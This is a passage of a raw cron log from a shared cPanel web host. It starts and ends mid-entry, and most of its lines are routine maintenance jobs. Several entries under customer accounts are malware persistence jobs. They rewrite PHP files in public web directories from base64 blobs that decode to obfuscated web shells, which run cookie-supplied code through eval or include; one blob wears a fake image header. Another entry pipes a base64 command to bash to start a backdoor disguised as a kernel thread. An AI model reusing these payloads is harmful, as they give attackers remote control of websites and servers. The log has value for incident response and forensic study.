Rfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:59:02 medusa CROND[15425]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:59:02 medusa CROND[15427]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:59:02 medusa CROND[15428]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:00:01 medusa CROND[4693]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  1 09:00:01 medusa CROND[4736]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 09:00:01 medusa CROND[4741]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 09:00:01 medusa CROND[4909]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Mar  1 09:00:01 medusa CROND[4910]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 09:00:01 medusa CROND[4911]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 09:00:01 medusa CROND[4912]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 09:00:01 medusa CROND[4913]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 09:00:01 medusa CROND[4914]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 09:00:01 medusa CROND[4919]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 09:00:01 medusa CROND[4920]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  1 09:00:01 medusa CROND[4924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:00:01 medusa CROND[4922]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 09:00:01 medusa CROND[4927]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  1 09:00:01 medusa CROND[4933]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:00:01 medusa CROND[4932]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 09:00:01 medusa CROND[4934]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  1 09:00:01 medusa CROND[4936]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 09:00:01 medusa CROND[4937]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 09:00:01 medusa CROND[4921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:00:01 medusa CROND[4939]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 09:00:01 medusa CROND[4923]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:00:01 medusa CROND[4949]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:00:01 medusa CROND[4950]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  1 09:00:01 medusa CROND[4953]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 09:00:01 medusa CROND[4956]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:00:01 medusa CROND[4935]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 09:00:01 medusa CROND[4918]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 09:00:01 medusa CROND[4964]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:00:01 medusa CROND[4969]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 09:00:01 medusa CROND[4971]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:00:01 medusa CROND[4973]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:00:01 medusa CROND[4983]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:00:01 medusa CROND[4974]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 09:00:01 medusa CROND[4984]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:00:01 medusa CROND[4985]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  1 09:00:01 medusa CROND[4972]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 09:00:01 medusa CROND[5064]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:00:01 medusa CROND[5063]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 09:01:01 medusa CROND[26902]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:01:01 medusa CROND[27011]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:01:01 medusa CROND[27012]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 09:01:01 medusa CROND[27013]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:01:01 medusa CROND[27014]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:01:01 medusa CROND[27024]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:01:01 medusa CROND[27025]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:01:01 medusa CROND[27023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:01:01 medusa CROND[27026]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 09:01:01 medusa CROND[27027]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPL